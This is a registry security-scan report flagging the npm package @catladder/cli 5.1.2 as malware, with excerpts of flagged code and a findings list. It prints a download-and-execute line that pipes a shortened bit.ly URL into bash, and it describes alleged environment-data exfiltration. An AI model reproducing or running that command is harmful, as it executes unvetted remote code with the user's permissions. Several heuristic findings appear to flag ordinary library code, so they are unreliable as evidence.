registry / @catladder/cli / 5.1.2

@catladder/cli@5.1.2

Panter cli tool for cloud CI/CD and DevOps

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

The project worktime command retrieves unverified remote content and executes it as a shell script. The shortened URL obscures the payload from package review.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

A user runs the project worktime command.

Impact

Remote code can execute with the invoking user's permissions.

Mechanism

Remote shell payload download piped to Bash.

Attack narrative

When a user invokes project worktime, the package starts a shell that fetches content from a shortened HTTP URL and pipes it directly into Bash. The fetched script is outside the reviewed package and can change at any time, allowing arbitrary commands under the user's account.

AI rationale

The package contains a concrete remote-code-execution path hidden behind an unrelated worktime command. Although it is not install-triggered, directly executing an opaque remote payload is malicious behavior.

Evidence

src/commands/project/commandGetMyTotalWorktime.ts

Network endpoints1

bit.ly

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The project worktime command downloads an opaque script from a shortened HTTP URL and immediately executes it with Bash.

Evidence against

package.json has no preinstall, install, or postinstall hook.
The malicious action requires a user to invoke the project worktime command.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationProtestwareUrlStrings

ManifestNo manifest risk signals triggered.

scanned 512 file(s), 2.04 MB of source, external domains: api.github.com, bit.ly, cloud.google.com, console.cloud.google.com, github.com, icanhazdadjoke.com, mirror.gcr.io, registry.npmjs.org, www.postgresql.org

Oversized source lightweight scan

dist/bundles/catenv/index.js4.93 MB file, sampled 256 KB

FilesystemChildProcessEnvironmentVarsDynamicRequireHighEntropyStringsUrlStringsgithub.com

dist/bundles/cli/index.js14.2 MB file, sampled 256 KB

ChildProcessEnvironmentVarsHighEntropyStringsUrlStringsicanhazdadjoke.com

Source & flagged code

33 flagged

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

Lines 21-61javascript

21};

22const createReleaseJob = (config, images, options = {}) => {

23 var _a;

24 const method = (0, release_1.getReleaseMethod)(config);

25 const resolved = images.resolveRef({ catladderImage: method.image });

26 const imageNeeds = !options.skipImageNeeds &&

27 resolved.need &&

28 typeof resolved.need === "object"

29 ? [(0, createGithubJobs_1.githubGlobalJobId)(resolved.need.job)]

30 : [];

31 const allNeeds = [...imageNeeds, ...((_a = options.needs) !== null && _a !== void 0 ? _a : [])];

32 return {

33 name: "create release",

34 "runs-on": "ubuntu-latest",

35 container: {

36 image: resolved.image,

37 ...(resolved.fromRepoRegistry

38 ? {

39 credentials: {

40 username: "${{ github.actor }}",

41 password: "${{ github.token }}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

42 },

43 }

44 : {}),

45 },

46 // the release method pushes the version tag and release commit,

47 // and dispatches the taggedRelease workflow for the new tag (tags

48 // pushed with the job token don't trigger `on: push: tags`).

49 // Declaring permissions drops all default token grants, so the

50 // packages read access (needed to pull the job image from the repo

51 // registry) must be re-granted explicitly.

52 permissions: {

53 contents: "write",

54 actions: "write",

55 ...(resolved.fromRepoRegistry ? { packages: "read" } : {}),

56 },

57 ...(allNeeds.length > 0 ? { needs: allNeeds } : {}),

58 env: {

59 GITHUB_TOKEN: "${{ github.token }}",

60 // the release deploy key (provisioned by `project setup`): the

61 // release push must bypass the merge-gating ruleset, which only

247patternName = generic_password severity = medium line = 247

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

Lines 1-26javascript

1"use strict";

2var __importDefault = (this && this.__importDefault) || function (mod) {

3 return (mod && mod.__esModule) ?

dist/bundles/catci/index.jsView file

Lines 1-25javascript

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

Lines 1-17javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.projectFileExists = void 0;

4const fs_1

dist/apps/cli/src/completion.jsView file

Lines 169-209javascript

169}

170

171# catladder <TAB>

172_catladder_completions() { _catladder_do_complete 1; }

173

174# yarn catladder <TAB>

175_yarn_catladder_completions() {

176 [[ $CURRENT -

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/release/releaseEntry.jsView file

15const post = async (url, headers, body) => { L16: const response = await fetch(url, { L17: method: "POST", L18: headers: { "content-type": "application/json", ...headers }, L19: body: JSON.stringify(body), L20: }); L21: if (!response.ok) { L22: throw new Error(`POST ${url} failed: ${response.status} ${await response.text()}`); L23: } ... L29: const createGitlabReleaseEntry = async (tag, notes) => { L30: const token = process.env.GL_TOKEN; L31: const apiUrl = process.env.CI_API_V4_URL;

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/release/releaseEntry.jsView on unpkg · L15

dist/bundles/catenv/index.jsView file

19760// This queue can be shared by multiple loaded instances L19761: var queue = global[gracefulQueue] || [] L19762: publishQueue(fs, queue)

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/bundles/catenv/index.jsView on unpkg · L19760

66Cross-file remote execution chain: dist/bundles/catenv/index.js spawns dist/bundles/catci/index.js; helper contains network access plus dynamic code execution. L66: * the context of non-interactive runs (catenv via direnv): logging L67: * goes to stderr, any required interaction fails with a clear error. L68: */ ... L433: const gitRoot = await (0, projects_1.getGitRoot)(); L434: const currentDir = process.cwd(); L435: return Object.keys(config.components).find((c) => currentDir.startsWith((0, exports.getComponentFullPath)(gitRoot, config, c))); ... L478: } L479: return `${componentName}: http://localhost:${port}`; L480: })).then((lines) => lines.filter(Boolean)); ... L869: exports.gitConfigSet = exports.gitConfigGet = void 0; L870: const child_process_promise_1 = __nccwpck_require__(11542)

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/bundles/catenv/index.jsView on unpkg · L66

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.1.1 matchedPath = dist/bundles/catenv/index.js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14865308 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View on unpkg

dist/apps/cli/src/publish/npmPublishJob.jsView file

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.1.1 matchedPath = dist/apps/cli/src/publish/npm[redacted] matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg

dist/apps/cli/src/release/releaseGit.jsView file

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.1.1 matchedPath = [redacted].js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/releaseGit.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/project/setup/setupKubernetes.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/project/setup/setupKubernetes.jsView on unpkg

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView on unpkg

dist/apps/cli/src/git/gitProjectInformation.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/git/gitProjectInformation.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetCheckJob.jsView on unpkg

dist/apps/cli/src/release/changesetsReleaseJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetsReleaseJob.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Source & flagged code

33 flagged · loading source

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

41patternName = generic_password severity = medium line = 41

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

247patternName = generic_password severity = medium line = 247

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

6exports.detectPackageManager = exports.parsePackageManagerField = void 0; L7: const child_process_promise_1 = require("child-process-promise"); L8: const fs_1 = require("fs");

High

Child Process

Package source references child process execution.

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView on unpkg · L6

dist/bundles/catci/index.jsView file

1Source sends the broad process environment to a literal external destination. L1: (()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/bundles/catci/index.jsView on unpkg · L1

24* Released under the MIT License. L25: */const n=r(952);const toRegexRange=(e,t,r)=>{if(n(e)===false){throw new TypeError("toRegexRange: expected the first argument to be a number")}if(t===void 0||e===t){return String(e...

High

Eval

Package source references dynamic code evaluation.

dist/bundles/catci/index.jsView on unpkg · L24

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/bundles/catci/index.jsView on unpkg · L1

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/bundles/catci/index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.1.1 matchedPath = dist/bundles/catci/index.js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/bundles/catci/index.jsView on unpkg

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

3exports.projectFileExists = void 0; L4: const fs_1 = require("fs"); L5: /**

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/packages/pipeline/src/pipeline/projectFiles.jsView on unpkg · L3

dist/apps/cli/src/completion.jsView file

189function getZshrcPath() { L190: return (0, path_1.join)((0, os_1.homedir)(), ".zshrc"); L191: }

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/apps/cli/src/completion.jsView on unpkg · L189

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/release/releaseEntry.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/release/releaseEntry.jsView on unpkg · L15

dist/bundles/catenv/index.jsView file

19760// This queue can be shared by multiple loaded instances L19761: var queue = global[gracefulQueue] || [] L19762: publishQueue(fs, queue)

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/bundles/catenv/index.jsView on unpkg · L19760

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/bundles/catenv/index.jsView on unpkg · L66

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/bundles/catenv/index.jsView on unpkg

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14865308 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View on unpkg

dist/apps/cli/src/publish/npmPublishJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg

dist/apps/cli/src/release/releaseGit.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/releaseGit.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/project/setup/setupKubernetes.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/project/setup/setupKubernetes.jsView on unpkg

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView on unpkg

dist/apps/cli/src/git/gitProjectInformation.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/git/gitProjectInformation.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetCheckJob.jsView on unpkg

dist/apps/cli/src/release/changesetsReleaseJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetsReleaseJob.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Findings

2 Critical23 High12 Medium5 Low

CriticalHardcoded Runtime Data Exfiltrationdist/bundles/catci/index.js

CriticalDownload Executesrc/commands/project/commandGetMyTotalWorktime.ts

HighChild Processdist/packages/pipeline/src/pipeline/detectPackageManager.js

HighShell

HighEvaldist/bundles/catci/index.js

HighSame File Env Network Executiondist/bundles/catci/index.js

HighCommand Output Exfiltrationdist/bundles/catci/index.js

HighSandbox Evasion Gated Capabilitydist/apps/cli/src/release/releaseEntry.js

HighObfuscated Payload Loaderdist/bundles/catenv/index.js

HighCross File Remote Execution Contextdist/bundles/catenv/index.js

HighRuntime Package Installdist/apps/cli/src/commands/project/commandOpenGit.js

HighShips High Entropy Blobdist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

HighSemantic Analysis Limiteddist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1

HighKnown Malware Source Similaritydist/bundles/catci/index.js

HighKnown Malware Source Similaritydist/apps/cli/src/publish/npmPublishJob.js

HighKnown Malware Source Similaritydist/apps/cli/src/release/releaseGit.js

HighKnown Malware Source Similaritydist/bundles/catenv/index.js

HighKnown Malware Source Similaritydist/apps/cli/src/apps/cli/commands/mongodb/utils/index.js

HighKnown Malware Source Similaritydist/apps/cli/src/apps/cli/commands/project/setup/setupKubernetes.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/commandGetMyTotalWorktime.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/k8s/commandDeleteProject.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/k8s/commandPauseProject.js

HighKnown Malware Source Similaritydist/apps/cli/src/git/gitProjectInformation.js

HighKnown Malware Source Similaritydist/apps/cli/src/release/changesetCheckJob.js

HighKnown Malware Source Similaritydist/apps/cli/src/release/changesetsReleaseJob.js

MediumSecret Patterndist/packages/pipeline/src/backends/github/githubReleaseJobs.js

MediumDynamic Requiredist/packages/pipeline/src/pipeline/projectFiles.js

MediumNetwork

MediumEnvironment Vars

MediumInstall Persistencedist/apps/cli/src/completion.js

MediumProtestware

MediumShips Native Binarydist/bundles/cli/xsel

MediumShips Compressed Blobdist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

MediumOversized Source Filedist/bundles/cli/index.js

MediumStructural Risk Force Deep Review

MediumSecret Patterndist/packages/pipeline/src/backends/github/githubReleaseJobs.js

MediumSecret Patterndist/packages/pipeline/src/backends/github/createGithubJobs.js

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

LowNested Archive Needs Inspectiondist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

Affected versions and remediation

This report applies to @catladder/cli@5.1.2.

See version security history for other recorded verdicts.

Avoid installing @catladder/cli@5.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-07 14:02:43.783Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeRemote Code Execution

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorMarco Wettstein

Version5.1.2

PublishedSep 7, 2026

LicenseMIT

Dependencies1

Integrityverified

Package size4.69 MB

Files1,361

KeywordsGitLabcloudcligitlab-cici/cdpipelinedeploymentdevops

LinksRepository Homepage Issues

Runtime surface

package.json

Entrypointsmain → dist/apps/cli/src/index.jstypes → dist/apps/cli/src/index.d.tsbin → catenv, catladder

Runtimenode >=18.0.0

Artifact23.3 MB · 1,361 files2 signature(s) · provenance

Install lifecycleNo install hooks · other: build, build:bundle, build:compile, build:copy-images +7

Behavioral surface

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkShellHighEntropyStringsMinifiedPossibleObfuscationProtestwareUrlStringsManifest: clean